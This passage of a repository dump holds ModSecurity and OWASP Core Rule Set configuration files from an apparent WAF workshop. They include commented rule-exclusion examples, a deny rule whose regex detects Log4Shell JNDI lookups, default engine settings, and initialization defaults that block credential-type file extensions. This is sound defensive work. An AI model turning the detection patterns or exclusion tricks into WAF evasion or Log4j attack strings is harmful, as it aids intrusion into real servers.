ModSecurity instance. This can be done 134 | # because every rule in OWASP_CRS is tagged with OWASP_CRS. This will NOT 135 | # affect custom rules. 136 | # 137 | # ModSecurity Rule Exclusion: Disable inspection of ARGS:pwd 138 | # for all CRS rules 139 | # SecRule REQUEST_FILENAME "@endsWith /wp-login.php" \ 140 | # "id:1003,\ 141 | # phase:2,\ 142 | # pass,\ 143 | # nolog,\ 144 | # ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:pwd" 145 | 146 | # 147 | # Example Exclusion Rule: Removing a range of rules 148 | # 149 | # This rule illustrates that we can remove a rule range via a ctl action. 150 | # This uses the fact, that rules are grouped by topic in rule files covering 151 | # a certain id range. 152 | # 153 | # ModSecurity Rule Exclusion: Disable all SQLi and XSS rules 154 | # SecRule REQUEST_FILENAME "@beginsWith /admin" \ 155 | # "id:1004,\ 156 | # phase:2,\ 157 | # pass,\ 158 | # nolog,\ 159 | # ctl:ruleRemoveById=941000-942999" 160 | # 161 | # 162 | # The application specific rule exclusion files 163 | # REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf 164 | # REQUEST-903.9002-WORDPRESS-EXCLUSION-RULES.conf 165 | # bring additional examples which can be useful then tuning a service. 166 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/CVE-2021-44228-LOG4J-REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------ 2 | # OWASP ModSecurity Core Rule Set ver.3.3.2 3 | # Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved. 4 | # 5 | # The OWASP ModSecurity Core Rule Set is distributed under 6 | # Apache Software License (ASL) version 2 7 | # Please see the enclosed LICENSE file for full details. 8 | # ------------------------------------------------------------------------ 9 | 10 | # 11 | # The purpose of this file is to hold LOCAL exceptions for your site. The 12 | # types of rules that would go into this file are one where you want to 13 | # short-circuit inspection and allow certain transactions to pass through 14 | # inspection or if you want to alter rules that are applied. 15 | # 16 | # This file is named REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example for a 17 | # very specific reason. Files affixed with the .example extension are designed 18 | # to contain user created/modified data. The '.example'. extension should be 19 | # renamed to end in .conf. The advantage of this is that when OWASP CRS is 20 | # updated, the updates will not overwrite a user generated configuration file. 21 | # 22 | # As a result of this design paradigm users are encouraged NOT to directly 23 | # modify rules. Instead they should use this 24 | # REQUEST-900-EXCLUSION-RULES-BEFORE-CRS and the 25 | # RESPONSE-999-EXCLUSION-RULES-AFTER-CRS file to modify OWASP rules using 26 | # methods similar to the examples specified below. 27 | # 28 | # REQUEST-900-EXCLUSION-RULES-BEFORE-CRS and 29 | # RESPONSE-999-EXCLUSION-RULES-AFTER-CRS serve different purposes. ModSecurity 30 | # effectively maintains two different context: startup, and per transaction. 31 | # As a rule, directives are processed within the startup context. While they 32 | # can affect the per transaction context they generally remain fixed during the 33 | # execution of ModSecurity. 34 | # 35 | # As a result if one wanted to disable a rule at bootup the SecRuleRemoveById 36 | # directive or one of its siblings would have to be placed AFTER the rule is 37 | # listed, otherwise it will not have knowledge of the rules existence (since 38 | # these rules are read in at the same time). This means that when using 39 | # directives that effect SecRules, these exceptions should be placed AFTER all 40 | # the existing rules. This is why RESPONSE-999-EXCLUSION-RULES-AFTER-CRS is 41 | # designed such that it loads LAST. 42 | # 43 | # Conversely, ModSecurity supports several actions that can change the state of 44 | # the underlying configuration during the per transaction context, this is when 45 | # rules are being processed. Generally, these are accomplished by using the 46 | # 'ctl' action. As these are part of a rule, they will be evaluated in the 47 | # order rules are applied (by physical location, considering phases). As a 48 | # result of this ordering a 'ctl' action should be placed with consideration to 49 | # when it will be executed. This is particularly relevant for the 'ctl' options 50 | # that involve modifying ID's (such as ruleRemoveById). In these cases it is 51 | # important that such rules are placed BEFORE the rule ID they will affect. 52 | # Unlike the setup context, by the time we process rules in the per-transaction 53 | # context, we are already aware of all the rule ID's. It is by this logic that 54 | # we include rules such as this BEFORE all the remaining rules. As a result 55 | # REQUEST-900-EXCLUSION-RULES-BEFORE-CRS is designed to load FIRST. 56 | # 57 | # As a general rule: 58 | # ctl:ruleEngine -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 59 | # ctl:ruleRemoveById -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 60 | # ctl:ruleRemoveByMsg -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 61 | # ctl:ruleRemoveByTag -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 62 | # ctl:ruleRemoveTargetById -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 63 | # ctl:ruleRemoveTargetByMsg -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 64 | # ctl:ruleRemoveTargetByTag -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 65 | # 66 | # SecRuleRemoveById -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 67 | # SecRuleRemoveByMsg -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 68 | # SecRuleRemoveByTag -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 69 | # SecRuleUpdateActionById -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 70 | # SecRuleUpdateTargetById -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 71 | # SecRuleUpdateTargetByMsg -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 72 | # SecRuleUpdateTargetByTag -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 73 | # 74 | # 75 | # What follows are a group of examples that show you how to perform rule 76 | # exclusions. 77 | # 78 | # 79 | # Example Exclusion Rule: Disable inspection for an authorized client 80 | # 81 | # This ruleset allows you to control how ModSecurity will handle traffic 82 | # originating from Authorized Vulnerability Scanning (AVS) sources. See 83 | # related blog post - 84 | # http://blog.spiderlabs.com/2010/12/advanced-topic-of-the-week-handling-authorized-scanning-traffic.html 85 | # 86 | # White-list ASV network block (no blocking or logging of AVS traffic) Update 87 | # IP network block as appropriate for your AVS traffic 88 | # 89 | # ModSec Rule Exclusion: Disable Rule Engine for known ASV IP 90 | # SecRule REMOTE_ADDR "@ipMatch 192.168.1.100" \ 91 | # "id:1000,\ 92 | # phase:1,\ 93 | # pass,\ 94 | # nolog,\ 95 | # ctl:ruleEngine=Off" 96 | # 97 | # 98 | # Example Exclusion Rule: Removing a specific ARGS parameter from inspection 99 | # for an individual rule 100 | # 101 | # This rule shows how to conditionally exclude the "password" 102 | # parameter for rule 942100 when the REQUEST_URI is /index.php 103 | # ModSecurity Rule Exclusion: 942100 SQL Injection Detected via libinjection 104 | # 105 | # SecRule REQUEST_URI "@beginsWith /index.php" \ 106 | # "id:1001,\ 107 | # phase:1,\ 108 | # pass,\ 109 | # nolog,\ 110 | # ctl:ruleRemoveTargetById=942100;ARGS:password" 111 | # 112 | # 113 | # Example Exclusion Rule: Removing a specific ARGS parameter from inspection 114 | # for only certain attacks 115 | # 116 | # Attack rules within the CRS are tagged, with tags such as 'attack-lfi', 117 | # 'attack-sqli', 'attack-xss', 'attack-injection-php', et cetera. 118 | # 119 | # ModSecurity Rule Exclusion: Disable inspection of ARGS:pwd 120 | # for all rules tagged attack-sqli 121 | # SecRule REQUEST_FILENAME "@endsWith /wp-login.php" \ 122 | # "id:1002,\ 123 | # phase:2,\ 124 | # pass,\ 125 | # nolog,\ 126 | # ctl:ruleRemoveTargetByTag=attack-sqli;ARGS:pwd" 127 | # 128 | 129 | # Example Exclusion Rule: Removing a specific ARGS parameter from inspection 130 | # for all CRS rules 131 | # 132 | # This rule illustrates that we can use tagging very effectively to whitelist a 133 | # common false positive across an entire ModSecurity instance. This can be done 134 | # because every rule in OWASP_CRS is tagged with OWASP_CRS. This will NOT 135 | # affect custom rules. 136 | # 137 | # ModSecurity Rule Exclusion: Disable inspection of ARGS:pwd 138 | # for all CRS rules 139 | # SecRule REQUEST_FILENAME "@endsWith /wp-login.php" \ 140 | # "id:1003,\ 141 | # phase:2,\ 142 | # pass,\ 143 | # nolog,\ 144 | # ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:pwd" 145 | 146 | # 147 | # Example Exclusion Rule: Removing a range of rules 148 | # 149 | # This rule illustrates that we can remove a rule range via a ctl action. 150 | # This uses the fact, that rules are grouped by topic in rule files covering 151 | # a certain id range. 152 | # 153 | # ModSecurity Rule Exclusion: Disable all SQLi and XSS rules 154 | # SecRule REQUEST_FILENAME "@beginsWith /admin" \ 155 | # "id:1004,\ 156 | # phase:2,\ 157 | # pass,\ 158 | # nolog,\ 159 | # ctl:ruleRemoveById=941000-942999" 160 | # 161 | # 162 | # The application specific rule exclusion files 163 | # REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf 164 | # REQUEST-903.9002-WORDPRESS-EXCLUSION-RULES.conf 165 | # bring additional examples which can be useful then tuning a service. 166 | 167 | # Generic rule against CVE-2021-44228 (Log4j / Log4Shell) 168 | # See https://coreruleset.org/20211213/crs-and-log4j-log4shell-cve-2021-44228/ 169 | SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx (?:\${[^}]{0,4}\${|\${(?:jndi|ctx))" \ 170 | "id:1005,\ 171 | phase:2,\ 172 | deny,\ 173 | t:none,t:urlDecodeUni,t:cmdline,\ 174 | log,\ 175 | msg:'Potential Remote Command Execution: Log4j CVE-2021-44228', \ 176 | tag:'application-multi',\ 177 | tag:'language-java',\ 178 | tag:'platform-multi',\ 179 | tag:'attack-rce',\ 180 | tag:'OWASP_CRS',\ 181 | tag:'capec/1000/152/137/6',\ 182 | tag:'PCI/6.5.2',\ 183 | tag:'paranoia-level/1',\ 184 | ver:'OWASP_CRS/3.4.0-dev',\ 185 | severity:'CRITICAL',\ 186 | multiMatch,\ 187 | setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\ 188 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 189 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/modsecdefault.conf: -------------------------------------------------------------------------------- 1 | 2 | # -- Rule engine initialization ---------------------------------------------- 3 | 4 | # Enable ModSecurity, attaching it to every transaction. Use detection 5 | # only to start with, because that minimises the chances of post-installation 6 | # disruption. 7 | # 8 | #SecRuleEngine DetectionOnly 9 | SecRuleEngine On 10 | 11 | 12 | # -- Request body handling --------------------------------------------------- 13 | 14 | # Allow ModSecurity to access request bodies. If you don't, ModSecurity 15 | # won't be able to see any POST parameters, which opens a large security 16 | # hole for attackers to exploit. 17 | # 18 | SecRequestBodyAccess On 19 | 20 | 21 | # Enable XML request body parser. 22 | # Initiate XML Processor in case of xml content-type 23 | # 24 | SecRule REQUEST_HEADERS:Content-Type "text/xml" \ 25 | "id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML" 26 | 27 | # Enable JSON request body parser. 28 | # Initiate JSON Processor in case of JSON content-type; change accordingly 29 | # if your application does not use 'application/json' 30 | # 31 | SecRule REQUEST_HEADERS:Content-Type "application/json" \ 32 | "id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON" 33 | 34 | # Maximum request body size we will accept for buffering. If you support 35 | # file uploads then the value given on the first line has to be as large 36 | # as the largest file you are willing to accept. The second value refers 37 | # to the size of data, with files excluded. You want to keep that value as 38 | # low as practical. 39 | # 40 | 41 | # Store up to 128 KB of request body data in memory. When the multipart 42 | # parser reachers this limit, it will start using your hard disk for 43 | # storage. That is slow, but unavoidable. 44 | # 45 | 46 | # What do do if the request body size is above our configured limit. 47 | # Keep in mind that this setting will automatically be set to ProcessPartial 48 | # when SecRuleEngine is set to DetectionOnly mode in order to minimize 49 | # disruptions when initially deploying ModSecurity. 50 | # 51 | SecRequestBodyLimitAction Reject 52 | 53 | # Verify that we've correctly processed the request body. 54 | # As a rule of thumb, when failing to process a request body 55 | # you should reject the request (when deployed in blocking mode) 56 | # or log a high-severity alert (when deployed in detection-only mode). 57 | # 58 | SecRule REQBODY_ERROR "!@eq 0" \ 59 | "id:'200002', phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.',logdata:'%{reqbody_error_msg}',severity:2" 60 | 61 | # By default be strict with what we accept in the multipart/form-data 62 | # request body. If the rule below proves to be too strict for your 63 | # environment consider changing it to detection-only. You are encouraged 64 | # _not_ to remove it altogether. 65 | # 66 | SecRule MULTIPART_STRICT_ERROR "!@eq 0" \ 67 | "id:'200003',phase:2,t:none,log,deny,status:400, \ 68 | msg:'Multipart request body failed strict validation: \ 69 | PE %{REQBODY_PROCESSOR_ERROR}, \ 70 | BQ %{MULTIPART_BOUNDARY_QUOTED}, \ 71 | BW %{MULTIPART_BOUNDARY_WHITESPACE}, \ 72 | DB %{MULTIPART_DATA_BEFORE}, \ 73 | DA %{MULTIPART_DATA_AFTER}, \ 74 | HF %{MULTIPART_HEADER_FOLDING}, \ 75 | LF %{MULTIPART_LF_LINE}, \ 76 | SM %{MULTIPART_MISSING_SEMICOLON}, \ 77 | IQ %{MULTIPART_INVALID_QUOTING}, \ 78 | IP %{MULTIPART_INVALID_PART}, \ 79 | IH %{MULTIPART_INVALID_HEADER_FOLDING}, \ 80 | FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'" 81 | 82 | # Did we see anything that might be a boundary? 83 | # 84 | SecRule MULTIPART_UNMATCHED_BOUNDARY "!@eq 0" \ 85 | "id:'200004',phase:2,t:none,log,deny,msg:'Multipart parser detected a possible unmatched boundary.'" 86 | 87 | # PCRE Tuning 88 | # We want to avoid a potential RegEx DoS condition 89 | # 90 | SecPcreMatchLimit 1000 91 | SecPcreMatchLimitRecursion 1000 92 | 93 | # Some internal errors will set flags in TX and we will need to look for these. 94 | # All of these are prefixed with "MSC_". The following flags currently exist: 95 | # 96 | # MSC_PCRE_LIMITS_EXCEEDED: PCRE match limits were exceeded. 97 | # 98 | SecRule TX:/^MSC_/ "!@streq 0" \ 99 | "id:'200005',phase:2,t:none,deny,msg:'ModSecurity internal error flagged: %{MATCHED_VAR_NAME}'" 100 | 101 | 102 | # -- Response body handling -------------------------------------------------- 103 | 104 | # Allow ModSecurity to access response bodies. 105 | # You should have this directive enabled in order to identify errors 106 | # and data leakage issues. 107 | # 108 | # Do keep in mind that enabling this directive does increases both 109 | # memory consumption and response latency. 110 | # 111 | SecResponseBodyAccess On 112 | 113 | # Which response MIME types do you want to inspect? You should adjust the 114 | # configuration below to catch documents but avoid static files 115 | # (e.g., images and archives). 116 | # 117 | SecResponseBodyMimeType text/plain text/html text/xml 118 | 119 | # Buffer response bodies of up to 512 KB in length. 120 | SecResponseBodyLimit 524288 121 | 122 | # What happens when we encounter a response body larger than the configured 123 | # limit? By default, we process what we have and let the rest through. 124 | # That's somewhat less secure, but does not break any legitimate pages. 125 | # 126 | SecResponseBodyLimitAction ProcessPartial 127 | 128 | 129 | # -- Filesystem configuration ------------------------------------------------ 130 | 131 | # The location where ModSecurity stores temporary files (for example, when 132 | # it needs to handle a file upload that is larger than the configured limit). 133 | # 134 | # This default setting is chosen due to all systems have /tmp available however, 135 | # this is less than ideal. It is recommended that you specify a location that's private. 136 | # 137 | SecTmpDir /tmp/ 138 | 139 | # The location where ModSecurity will keep its persistent data. This default setting 140 | # is chosen due to all systems have /tmp available however, it 141 | # too should be updated to a place that other users can't access. 142 | # 143 | SecDataDir /tmp/ 144 | 145 | 146 | # -- File uploads handling configuration ------------------------------------- 147 | 148 | # The location where ModSecurity stores intercepted uploaded files. This 149 | # location must be private to ModSecurity. You don't want other users on 150 | # the server to access the files, do you? 151 | # 152 | #SecUploadDir /opt/modsecurity/var/upload/ 153 | 154 | # By default, only keep the files that were determined to be unusual 155 | # in some way (by an external inspection script). For this to work you 156 | # will also need at least one file inspection rule. 157 | # 158 | #SecUploadKeepFiles RelevantOnly 159 | 160 | # Uploaded files are by default created with permissions that do not allow 161 | # any other user to access them. You may need to relax that if you want to 162 | # interface ModSecurity to an external program (e.g., an anti-virus). 163 | # 164 | #SecUploadFileMode 0600 165 | 166 | 167 | # -- Debug log configuration ------------------------------------------------- 168 | 169 | # The default debug log configuration is to duplicate the error, warning 170 | # and notice messages from the error log. 171 | # 172 | #SecDebugLog /opt/modsecurity/var/log/debug.log 173 | #SecDebugLogLevel 3 174 | 175 | 176 | # -- Audit log configuration ------------------------------------------------- 177 | 178 | # Log the transactions that are marked by a rule, as well as those that 179 | # trigger a server error (determined by a 5xx or 4xx, excluding 404, 180 | # level response status codes). 181 | # 182 | SecAuditEngine RelevantOnly 183 | SecAuditLogRelevantStatus "^(?:5|4(?!04))" 184 | 185 | # Log everything we know about a transaction. 186 | SecAuditLogParts ABIJDEFHZ 187 | 188 | # Use a single file for logging. This is much easier to look at, but 189 | # assumes that you will use the audit log only ocassionally. 190 | # 191 | SecAuditLogType Serial 192 | SecAuditLog /tmp/modsec_audit.log 193 | 194 | # Specify the path for concurrent audit logging. 195 | #SecAuditLogStorageDir /opt/modsecurity/var/audit/ 196 | 197 | 198 | # -- Miscellaneous ----------------------------------------------------------- 199 | 200 | # Use the most commonly used application/x-www-form-urlencoded parameter 201 | # separator. There's probably only one application somewhere that uses 202 | # something else so don't expect to change this value. 203 | # 204 | SecArgumentSeparator & 205 | 206 | # Settle on version 0 (zero) cookies, as that is what most applications 207 | # use. Using an incorrect cookie version may open your installation to 208 | # evasion attacks (against the rules that examine named cookies). 209 | # 210 | SecCookieFormat 0 211 | 212 | # Specify your Unicode Code Point. 213 | # This mapping is used by the t:urlDecodeUni transformation function 214 | # to properly map encoded data to your language. Properly setting 215 | # these directives helps to reduce false positives and negatives. 216 | # 217 | #SecUnicodeMapFile unicode.mapping 20127 218 | 219 | # Improve the quality of ModSecurity by sharing information about your 220 | # current ModSecurity version and dependencies versions. 221 | # The following information will be shared: ModSecurity version, 222 | # Web Server version, APR version, PCRE version, Lua version, Libxml2 223 | # version, Anonymous unique id for host. 224 | SecStatusEngine On 225 | 226 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/REQUEST-901-INITIALIZATION.conf: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------ 2 | # OWASP ModSecurity Core Rule Set ver.3.3.2 3 | # Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved. 4 | # 5 | # The OWASP ModSecurity Core Rule Set is distributed under 6 | # Apache Software License (ASL) version 2 7 | # Please see the enclosed LICENSE file for full details. 8 | # ------------------------------------------------------------------------ 9 | 10 | # 11 | # This file REQUEST-901-INITIALIZATION.conf initializes the Core Rules 12 | # and performs preparatory actions. It also fixes errors and omissions 13 | # of variable definitions in the file crs-setup.conf. 14 | # The setup.conf can and should be edited by the user, this file 15 | # is part of the CRS installation and should not be altered. 16 | # 17 | 18 | 19 | # 20 | # -=[ Rules Version ]=- 21 | # 22 | # Rule version data is added to the "Producer" line of Section H of the Audit log: 23 | # 24 | # - Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); OWASP_CRS/3.1.0. 25 | # 26 | # Ref: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#wiki-SecComponentSignature 27 | # 28 | SecComponentSignature "OWASP_CRS/3.3.2" 29 | 30 | # 31 | # -=[ Default setup values ]=- 32 | # 33 | # The CRS checks the tx.crs_setup_version variable to ensure that the setup 34 | # file is included at the correct time. This detects situations where 35 | # necessary settings are not defined, for instance if the file 36 | # inclusion order is incorrect, or if the user has forgotten to 37 | # include the crs-setup.conf file. 38 | # 39 | # If you are upgrading from an earlier version of the CRS and you are 40 | # getting this error, please make a new copy of the setup template 41 | # crs-setup.conf.example to crs-setup.conf, and re-apply your policy 42 | # changes. There have been many changes in settings syntax from CRS2 43 | # to CRS3, so an old setup file may cause unwanted behavior. 44 | # 45 | # If you are not planning to use the crs-setup.conf template, you must 46 | # manually set the tx.crs_setup_version variable before including 47 | # the CRS rules/* files. 48 | # 49 | # The variable is a numerical representation of the CRS version number. 50 | # E.g., v3.0.0 is represented as 300. 51 | # 52 | 53 | SecRule &TX:crs_setup_version "@eq 0" \ 54 | "id:901001,\ 55 | phase:1,\ 56 | deny,\ 57 | status:500,\ 58 | log,\ 59 | auditlog,\ 60 | msg:'ModSecurity Core Rule Set is deployed without configuration! Please copy the crs-setup.conf.example template to crs-setup.conf, and include the crs-setup.conf file in your webserver configuration before including the CRS rules. See the INSTALL file in the CRS directory for detailed instructions',\ 61 | ver:'OWASP_CRS/3.3.2',\ 62 | severity:'CRITICAL'" 63 | 64 | 65 | # 66 | # -=[ Default setup values ]=- 67 | # 68 | # Some constructs or individual rules will fail if certain parameters 69 | # are not set in the setup.conf file. The following rules will catch 70 | # these cases and assign sane default values. 71 | # 72 | 73 | # Default Inbound Anomaly Threshold Level (rule 900110 in setup.conf) 74 | SecRule &TX:inbound_anomaly_score_threshold "@eq 0" \ 75 | "id:901100,\ 76 | phase:1,\ 77 | pass,\ 78 | nolog,\ 79 | ver:'OWASP_CRS/3.3.2',\ 80 | setvar:'tx.inbound_anomaly_score_threshold=5'" 81 | 82 | # Default Outbound Anomaly Threshold Level (rule 900110 in setup.conf) 83 | SecRule &TX:outbound_anomaly_score_threshold "@eq 0" \ 84 | "id:901110,\ 85 | phase:1,\ 86 | pass,\ 87 | nolog,\ 88 | ver:'OWASP_CRS/3.3.2',\ 89 | setvar:'tx.outbound_anomaly_score_threshold=4'" 90 | 91 | # Default Paranoia Level (rule 900000 in setup.conf) 92 | SecRule &TX:paranoia_level "@eq 0" \ 93 | "id:901120,\ 94 | phase:1,\ 95 | pass,\ 96 | nolog,\ 97 | ver:'OWASP_CRS/3.3.2',\ 98 | setvar:'tx.paranoia_level=1'" 99 | 100 | # Default Executing Paranoia Level (rule 900000 in setup.conf) 101 | SecRule &TX:executing_paranoia_level "@eq 0" \ 102 | "id:901125,\ 103 | phase:1,\ 104 | pass,\ 105 | nolog,\ 106 | ver:'OWASP_CRS/3.3.2',\ 107 | setvar:'tx.executing_paranoia_level=%{TX.PARANOIA_LEVEL}'" 108 | 109 | # Default Sampling Percentage (rule 900400 in setup.conf) 110 | SecRule &TX:sampling_percentage "@eq 0" \ 111 | "id:901130,\ 112 | phase:1,\ 113 | pass,\ 114 | nolog,\ 115 | ver:'OWASP_CRS/3.3.2',\ 116 | setvar:'tx.sampling_percentage=100'" 117 | 118 | # Default Anomaly Scores (rule 900100 in setup.conf) 119 | SecRule &TX:critical_anomaly_score "@eq 0" \ 120 | "id:901140,\ 121 | phase:1,\ 122 | pass,\ 123 | nolog,\ 124 | ver:'OWASP_CRS/3.3.2',\ 125 | setvar:'tx.critical_anomaly_score=5'" 126 | 127 | SecRule &TX:error_anomaly_score "@eq 0" \ 128 | "id:901141,\ 129 | phase:1,\ 130 | pass,\ 131 | nolog,\ 132 | ver:'OWASP_CRS/3.3.2',\ 133 | setvar:'tx.error_anomaly_score=4'" 134 | 135 | SecRule &TX:warning_anomaly_score "@eq 0" \ 136 | "id:901142,\ 137 | phase:1,\ 138 | pass,\ 139 | nolog,\ 140 | ver:'OWASP_CRS/3.3.2',\ 141 | setvar:'tx.warning_anomaly_score=3'" 142 | 143 | SecRule &TX:notice_anomaly_score "@eq 0" \ 144 | "id:901143,\ 145 | phase:1,\ 146 | pass,\ 147 | nolog,\ 148 | ver:'OWASP_CRS/3.3.2',\ 149 | setvar:'tx.notice_anomaly_score=2'" 150 | 151 | # Default do_reput_block 152 | SecRule &TX:do_reput_block "@eq 0" \ 153 | "id:901150,\ 154 | phase:1,\ 155 | pass,\ 156 | nolog,\ 157 | ver:'OWASP_CRS/3.3.2',\ 158 | setvar:'tx.do_reput_block=0'" 159 | 160 | # Default block duration 161 | SecRule &TX:reput_block_duration "@eq 0" \ 162 | "id:901152,\ 163 | phase:1,\ 164 | pass,\ 165 | nolog,\ 166 | ver:'OWASP_CRS/3.3.2',\ 167 | setvar:'tx.reput_block_duration=300'" 168 | 169 | # Default HTTP policy: allowed_methods (rule 900200) 170 | SecRule &TX:allowed_methods "@eq 0" \ 171 | "id:901160,\ 172 | phase:1,\ 173 | pass,\ 174 | nolog,\ 175 | ver:'OWASP_CRS/3.3.2',\ 176 | setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'" 177 | 178 | # Default HTTP policy: allowed_request_content_type (rule 900220) 179 | SecRule &TX:allowed_request_content_type "@eq 0" \ 180 | "id:901162,\ 181 | phase:1,\ 182 | pass,\ 183 | nolog,\ 184 | ver:'OWASP_CRS/3.3.2',\ 185 | setvar:'tx.allowed_request_content_type=|application/x-www-form-urlencoded| |multipart/form-data| |multipart/related| |text/xml| |application/xml| |application/soap+xml| |application/x-amf| |application/json| |application/cloudevents+json| |application/cloudevents-batch+json| |application/octet-stream| |application/csp-report| |application/xss-auditor-report| |text/plain|'" 186 | 187 | # Default HTTP policy: allowed_request_content_type_charset (rule 900270) 188 | SecRule &TX:allowed_request_content_type_charset "@eq 0" \ 189 | "id:901168,\ 190 | phase:1,\ 191 | pass,\ 192 | nolog,\ 193 | ver:'OWASP_CRS/3.3.2',\ 194 | setvar:'tx.allowed_request_content_type_charset=utf-8|iso-8859-1|iso-8859-15|windows-1252'" 195 | 196 | # Default HTTP policy: allowed_http_versions (rule 900230) 197 | SecRule &TX:allowed_http_versions "@eq 0" \ 198 | "id:901163,\ 199 | phase:1,\ 200 | pass,\ 201 | nolog,\ 202 | ver:'OWASP_CRS/3.3.2',\ 203 | setvar:'tx.allowed_http_versions=HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0'" 204 | 205 | # Default HTTP policy: restricted_extensions (rule 900240) 206 | SecRule &TX:restricted_extensions "@eq 0" \ 207 | "id:901164,\ 208 | phase:1,\ 209 | pass,\ 210 | nolog,\ 211 | ver:'OWASP_CRS/3.3.2',\ 212 | setvar:'tx.restricted_extensions=.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'" 213 | 214 | # Default HTTP policy: restricted_headers (rule 900250) 215 | SecRule &TX:restricted_headers "@eq 0" \ 216 | "id:901165,\ 217 | phase:1,\ 218 | pass,\ 219 | nolog,\ 220 | ver:'OWASP_CRS/3.3.2',\ 221 | setvar:'tx.restricted_headers=/proxy/ /lock-token/ /content-range/ /if/'" 222 | 223 | # Default HTTP policy: static_extensions (rule 900260) 224 | SecRule &TX:static_extensions "@eq 0" \ 225 | "id:901166,\ 226 | phase:1,\ 227 | pass,\ 228 | nolog,\ 229 | ver:'OWASP_CRS/3.3.2',\ 230 | setvar:'tx.static_extensions=/.jpg/ /.jpeg/ /.png/ /.gif/ /.js/ /.css/ /.ico/ /.svg/ /.webp/'" 231 | 232 | # Default enforcing of body processor URLENCODED 233 | SecRule &TX:enforce_bodyproc_urlencoded "@eq 0" \ 234 | "id:901167,\ 235 | phase:1,\ 236 | pass,\ 237 | nolog,\ 238 | ver:'OWASP_CRS/3.3.2',\ 239 | setvar:'tx.enforce_bodyproc_urlencoded=0'" 240 | 241 | # 242 | # -=[ Initialize internal variables ]=- 243 | # 244 | 245 | # Initialize anomaly scoring variables. 246 | # All _score variables start at 0, and are incremented by the various rules 247 | # upon detection of a possible attack. 248 | # sql_error_match is used for shortcutting rules for performance reasons. 249 | 250 | SecAction \ 251 | "id:901200,\ 252 | phase:1,\ 253 | pass,\ 254 | t:none,\ 255 | nolog,\ 256 | ver:'OWASP_CRS/3.3.2',\ 257 | setvar:'tx.anomaly_score=0',\ 258 | setvar:'tx.anomaly_score_pl1=0',\ 259 | setvar:'tx.anomaly_score_pl2=0',\ 260 | setvar:'tx.anomaly_score_pl3=0',\ 261 | setvar:'tx.anomaly_score_pl4=0',\ 262 | setvar:'tx.sql_injection_score=0',\ 263 | setvar:'tx.xss_score=0',\ 264 | setvar:'tx.rfi_score=0',\ 265 | setvar:'tx.lfi_score=0',\ 266 | setvar:'tx.rce_score=0',\ 267 | setvar:'tx.php_injection_score=0',\ 268 | setvar:'tx.http_violation_score=0',\ 269 | setvar:'tx.session_fixation_score=0',\ 270 | setvar:'tx.inbound_anomaly_score=0',\ 271 | setvar:'tx.outbound_anomaly_score=0',\ 272 | setvar:'tx.outbound_anomaly_score_pl1=0',\ 273 | setvar:'tx.outbound_anomaly_score_pl2=0',\ 274 | setvar:'tx.outbound_anomaly_score_pl3=0',\ 275 | setvar:'tx.outbound_anomaly_score_pl4=0',\ 276 | setvar:'tx.sql_error_match=0'" 277 | 278 | 279 | # 280 | # -=[ Initialize collections ]=- 281 | # 282 | # Create both Global and IP collections for rules to use. 283 | # There are some CRS rules that assume that these two collections 284 | # have already been initiated. 285 | # 286 | 287 | SecRule REQUEST_HEADERS:User-Agent "@rx ^.*$" \ 288 | "id:901318,\ 289 | phase:1,\ 290 | pass,\ 291 | t:none,t:sha1,t:hexEncode,\ 292 | nolog,\ 293 | ver:'OWASP_CRS/3.3.2',\ 294 | setvar:'tx.ua_hash=%{MATCHED_VAR}'" 295 | 296 | SecAction \ 297 | "id:901321,\ 298 | phase:1,\ 299 | pass,\ 300 | t:none,\ 301 | nolog,\ 302 | ver:'OWASP_CRS/3.3.2',\ 303 | initcol:global=global,\ 304 | initcol:ip=%{remote_addr}_%{tx.ua_hash},\ 305 | 